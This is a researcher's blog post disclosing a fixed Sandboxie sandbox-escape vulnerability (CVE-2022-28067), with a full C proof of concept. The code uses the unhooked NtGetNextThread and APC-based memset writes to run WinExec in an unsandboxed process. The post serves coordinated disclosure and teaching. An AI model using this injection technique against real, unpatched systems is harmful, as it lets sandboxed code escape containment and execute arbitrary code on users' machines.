Escaping Sandboxie Classic 5.55.13

Posted by HX on 2022-04-22 | 👓

What’s Up?

I discovered a vulnerability in Sandboxie Classic <= 5.55.13 (and Plus <= 1.0.13 with default settings) that allowed an attacker to escape the sandbox and execute arbitrary code.

The vulnerability was reported to the developers and was fixed a month ago. This post will be detailing the root cause of the vulnerability and is published with prior consent of the developer.

The vulnerability has been assigned CNVD-2022-33480 and CVE-2022-28067.

Discovery and Root Cause

This is a rather simple (yet powerful) vulnerability, to be honest. But since it’s my first real-world vuln, I think it merits a blog post.

If you don’t want to go through the trivialities, here’s the tldr: Sandboxie didn’t hook NtGetNextThread(), which made it possible for a sandboxed program to obtain a writable handle to the thread(s) of an unsandboxed program. And then we used that handle to manipulate an unsandboxed thread and inject data or code by inserting APCs, and finally hijacked the thread to make it run arbitrary code.

The discovery was purely by chance. One day I was wandering around on the internet, and perhaps picking up some useful information about process-related NT APIs, when bang – this page showed up in a google search. It’s the changelog of Sandboxie. One line in particular drew my attention -

Version 4.20

Released on 25 June 2015.

  • Fixed SBIE2205 Service not implemented: CloseClipboard C0000058 error caused by Windows update KB3057839
  • NtGetNextProcess can be used to alter processes outside the sandbox and will now be blocked.
  • A DDE change in 4.18 broke Excel running as a forced program.
  • Clipboard formats that were restricted in 4.18 are supported again.
  • MS Office applications are again able to print to file inside the sandbox without errors

One cannot help but exclaim, “whoa, such an ancient hole closed up so late!” (considering this API existed even on Vista)

But wait, isn’t there another API responsible for doing the same thing with threads, if my memory serves me? Turns out yes, and that twin is NtGetNextThread(). Give it a readable handle to a process, and it will return a handle to its threads with access rights of your choice. A quick find on page for the name of this API returned nothing, which suggested to me that it could be one of those obscure undocumented NT APIs that Sandboxie didn’t take care of.

So I went to the source code of Sandboxie and searched for “NtGetNextThread”. Still nothing. This was a good indication that Sandboxie did not hook it, and we might have a chance to take advantage of that.

Exploitation

Write a few lines of code, and you’ll be able to prove that a sandboxed program can call NtGetNextThread() to get a writable (even THREAD_ALL_ACCESS) handle to threads outside the sandbox. Now what?

We can terminate threads as we want, of course, but is that all? Can we manipulate those threads and make them run malicious code?

First Attempt: Textbook Code Injection w/ Thread Hijacking

As per usual, I tried to inject code into unsandboxed programs and hijack their threads to run the injected code by using VirtualAllocEx(), WriteProcessMemory(), and SetThreadContext(). But it turned out that because we had no handle to the remote process, we could not write code into its memory. Of course, Operating Systems 101 tells us virtual memory is allocated on a per-process basis, not per-thread (i.e., all the threads in a process share the same virtual memory space), so having access only to threads, and not their process, probably doesn’t give us access to their virtual memory.

Second Attempt: Code Gadgets

If we can hijack the control flow of threads, why not just make it run snippets of existing code (i.e. code gadgets) so we won’t need to inject code? Let’s try WinExec()! It takes exactly two parameters which are the path to an executable you want to run, and a flag usually set to zero. By running on 64-bit Windows, we’ll only need to call SetThreadContext() to set the rcx and rdx of the remote thread (for parameter passing), and then hijack its rip to WinExec(), perfect!

However, things don’t always go as expected. It turned out that for some unknown reason, SetThreadContext() will change some volatile registers’ contents (in the target thread), including rcx/rdx, so the parameter we set will be overwritten. Darn!

We could have turned to other code gadgets and saw if we had any luck, but that was too much trouble, and besides, when searching for the reason why SetThreadContext() didn’t work, I found a paper which led me to my third attempt.

Third Attempt: APC Injection

Here’s the paper, published in BlackHat USA 19. It’s an analysis of process injection techniques as of 2019. It turned out to be immensely helpful, especially because it mentioned an APC injection technique that allowed you to write arbitrary data/code to remote processes without a handle to the process (but a writable handle to one of its threads is needed).

The technique is called “memset/memmove write primitive”, and was invented by the authors of the paper. The code is pretty simple so I’ll just reproduce it here:

1
2
3
4
5
6
7
HANDLE ntdll= GetModuleHandleA("ntdll");
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
for (int i = 0; i < sizeof(payload); i++)
{
ntdll!NtQueueApcThread(t, GetProcAddress(ntdll, "memset"),
(void*)(target_payload+i), (void*)*(((BYTE*)payload)+i), 1);
}

Basically, it is just inserting APCs into the remote thread. These APCs’ entry point is memset(), and the parameters are passed accordingly. By memset()ing one byte at a time, we can write any data we want into the target process’s memory. The idea is: if we can’t write to the memory of the remote process, why not manipulate one of its threads and let it do the thing for us? We have control on the thread, and the thread has control on its own process’s memory!

Once we have this write primitive, code execution is not far away: write shellcode, and hijack the thread to run it. In my case, I just wanted to demonstrate the vulnerability, so I wrote a path to calc.exe into the remote process, and then queued another APC to pass the path as a parameter and call WinExec().

The full PoC is as follows. Also available on GitHub.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
/* Sandboxie breakout vulnerability PoC
* Author: hx1997
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
typedef NTSTATUS (NTAPI *pfnNtGetNextThread)(HANDLE, HANDLE, int, DWORD, DWORD, HANDLE *);
typedef NTSTATUS (NTAPI *pfnNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, ULONG);
DWORD getFreeSpace(HANDLE hProcess) {
MEMORY_BASIC_INFORMATION mbi;
mbi.RegionSize = 0x1000;
for (DWORD lpAddress = 0; lpAddress < 0x80000000; lpAddress += mbi.RegionSize) {
VirtualQueryEx(hProcess, (LPCVOID)lpAddress, &mbi, sizeof(mbi));
if ((mbi.State == MEM_COMMIT) && (mbi.Type == MEM_MAPPED) && (mbi.Protect == PAGE_READWRITE)) {
return lpAddress;
}
}
return -1;
}
int foo(DWORD dwProcessId) {
HMODULE hModule = GetModuleHandle("ntdll.dll");
pfnNtGetNextThread pNtGetNextThread = (pfnNtGetNextThread)GetProcAddress(hModule, "NtGetNextThread");
pfnNtQueueApcThread pNtQueueApcThread = (pfnNtQueueApcThread)GetProcAddress(hModule, "NtQueueApcThread");
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwProcessId);
if (!hProcess) {
return -1;
}
// BOOM! Sandboxie doesn't block NtGetNextThread, so we can get access to threads outside the box.
HANDLE hThread = 0;
if (pNtGetNextThread(hProcess, 0, THREAD_SET_CONTEXT, 0, 0, &hThread) < 0) {
CloseHandle(hProcess);
return -1;
}
// This write primitive courtesy of Amit Klein, Itzik Kotler at Safebreach in their paper
// https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf
DWORD target_payload = getFreeSpace(hProcess);
if (target_payload == -1) {
printf("Can't find free space in the target process!\n");
CloseHandle(hProcess);
CloseHandle(hThread);
return -1;
}
printf("Found free space at %p\n", target_payload);
char payload[] = "C:\\WINDOWS\\System32\\calc.exe";
for (int i = 0; i < sizeof(payload); i++)
{
pNtQueueApcThread(hThread, (PVOID)GetProcAddress(hModule, "memset"),
(void*)(target_payload+i), (void*)*(((BYTE*)payload)+i), 1);
}
// do the classic APC injection
NTSTATUS ret = pNtQueueApcThread(hThread, (PVOID)WinExec, (PVOID)target_payload, 0, 0);
if (ret < 0) {
printf("NtQueueApcThread failed with %x\n", ret);
CloseHandle(hProcess);
CloseHandle(hThread);
return -1;
}
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}
int main(void) {
DWORD dwProcessId = 0;
printf("Enter a PID outside the sandbox (e.g. PID of iexplore.exe): ");
scanf("%d", &dwProcessId);
if (foo(dwProcessId) < 0) {
printf("Injection failed!\n");
} else {
printf("Injection suceeded!\n");
}
system("pause");
return 0;
}

Mitigation

The vulnerability has been fixed in Sandboxie Classic 5.55.14 (Plus 1.0.14) by intercepting the NtGetNextThread() call and filtering out requests to access unsandboxed threads. Prior to this version, an extra option “Enable Object Filtering” which is turned off by default could serve as a workaround. This option works by registering callbacks for handle creation, and can block a sandboxed program from obtaining handles to unsandboxed threads.

Acknowledgements

Thanks to David Xanatos, who is the current developer and maintainer of Sandboxie, for their quick response to my report and quick fix of the problem. Also thanks to Amit Klein and Itzik Kotler, who wrote the amazing paper and proposed the write primitive I used in my PoC.